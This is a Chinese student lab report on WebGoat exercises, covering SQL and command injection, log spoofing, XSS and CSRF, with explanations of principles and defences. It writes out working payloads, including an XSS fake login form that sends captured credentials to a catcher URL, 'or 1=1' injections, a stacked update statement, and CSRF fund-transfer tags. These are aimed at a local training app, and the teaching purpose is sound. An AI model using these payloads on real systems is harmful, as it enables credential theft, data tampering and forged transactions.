zoukankan      html  css  js  c++  java
  • 2019-2020-2 20175105王鑫浩《网络对抗技术》Exp9 Web安全基础

    2019-2020-2 20175105王鑫浩《网络对抗技术》Exp9 Web安全基础

    一、基础知识

    • SQL注入
      • 通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
      • 就是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
    • XSS攻击
      • 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。
      • XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被骇客用来编写危害性更大的phishing攻击而变得广为人知。
    • CSRF攻击
      • Cross Site Request Forgery跨站请求伪造
      • CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中。攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证。只要攻击者能够得到Session,就可以伪装成被害者进入服务器。
      • 主要是当访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码。

    二、实验步骤

    (一)安装WebGoat

    下载Jar包webgoat-container-7.0.1-war-exec.jar

    使用java -jar webgoat-container-7.0.1-war-exec.jar命令开启WebGoat

    打开浏览器,输入localhost:8080/WebGoat,登录

    (二)注入攻击:Injection Flaws

    • 命令注入:Command Injection

    左侧功能栏选中Injection Flaws—>Command Injection,右键点击页面,选择inspect Element审查网页元素对源代码选择Edit At Html进行修改,添加"& netstat -an & ipconfig"

    点击view,查看执行指令后的网络端口使用情况和IP地址

    • 数字型注入:Numeric SQL Injection

    右键点击页面,选择inspect Element审查网页元素对
    在Value值101中添加or 1=1,点击Go!显示所有天气数

    • 日志欺骗:Log Spoofing

    左侧功能栏选中Injection Flaws—>Log Spoofing,在User Name输入webgoat%0d%0aLogin Succeeded for username: 20175105

    • 字符串注入:String SQL Injection

    输入查询的用户名mark' or 1=1--select表里面的所有数据

    • LAB: SQL Injection

    对源代码maxlength进行修改后,输入密码' or 1=1 --登录

    • Database Backdoors(数据库后门)

    在用户ID输入两个语句101; update employee set salary=10000使用;分隔

    (三)XSS攻击

    • XSS 钓鱼:Phishing with XSS

    在搜索框输入如下代码

    </form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
    


    在产生的用户名和密码输入框中,输入用户名和密码,读取在表单上输入的用户名和密码信息并发送给捕获这些信息的WebGoat

    • 存储型XSS攻击:Stored XSS Attacks

    在title中输入任意字符,留言板中输入alert("Stored XSS Attacks,20175105.");,点击生成的message。

    • 反射型XSS攻击:Reflected XSS Attacks

    在Enter your three digit access code框中输入alert("Reflacted XSS Attacks, 20175105");,点击Purchase

    CSRF攻击

    • 跨站请求伪造:Cross Site Request Forgery (CSRF)

    查看页面右侧Parameters中的src和menu值

    在message框中输入 <img src="http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=1888" width="1" height="1" />

    • 绕过 CSRF 确认:CSRF Prompt By‐Pass

    在title框中随意输入,message框中输入代码:

    <iframe src="attack?Screen=323&menu=900&transferFunds=5000"> </iframe>
    <iframe src="attack?Screen=323&menu=900&transferFunds=CONFIRM"> </iframe>
    


    三、问题回答

    1.SQL注入攻击原理,如何防

    • 原理:

      Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。

    • 防御:

      使用正则表达式过滤传入的参数;检查是否包函非法字符,在后台控制输入的长度或者禁止用户输入一些特殊符号,例如 -- 、' 等

    2.XSS攻击的原理,如何防御

    • 原理:

      XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

    • 防御:

      当恶意代码被作为某一标签的属性显示,通过用 “将属性截断来开辟新的属性或恶意方法:属性本身存在的 单引号和双引号都需要进行转码;对用户输入的html 标签及标签属性做白名单过滤,也可以对一些存在漏洞的标签和属性进行专门过滤。

    3.CSRF攻击原理,如何防御

    • 原理:

      通过伪装来自受信任用户的请求来利用受信任的网站,挟制用户在当前已登录的Web应用程序上执行非本意的操作

    • 防御:

      对于web站点,将持久化的授权方法(例如cookie或者HTTP授权)切换为瞬时的授权方法(在每个form中提供隐藏field),这将帮助网站防止这些攻击。一种类似的方式是在form中包含秘密信息、用户指定的代号作为cookie之外的验证。

      另一个可选的方法是“双提交”cookie。此方法只工作于Ajax请求,但它能够作为无需改变大量form的全局修正方法。如果某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。如果服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域,因为其它域是不能从信任域读取cookie的。

    实验中遇到的问题

    • 安装WebGoat时,提示无法安装

    • 重新配置安装JDK文件

    实验体会

    本次实验比较简单,而且环境配置基本上全部由WebGoat提供,实验过程中,学习到了各种Web攻击的基本操作方法,感触很深。

  • 相关阅读:
    [Oracle] CPU/PSU补丁安装教程
    VMware vSphere 服务器虚拟化之二十 桌面虚拟化之准备虚拟桌面模版
    我是如何写作一本软件+哲学式的书籍的(上)
    设计模式(二)-- 外观模式(Facade)
    PPT资料下载
    Ajax实现xml文件数据插入数据库(一)--- 构建解析xml文件的js库
    Ajax实现xml文件数据插入数据库(二)--- ajax实现与jsp的数据交互。
    iOS-王云鹤 APP首次启动显示用户指导
    控制文件的备份与恢复
    Android事件分发机制完全解析,带你从源码的角度彻底理解(下)
  • 原文地址:https://www.cnblogs.com/wxhblogs/p/12995351.html
Copyright © 2011-2022 走看看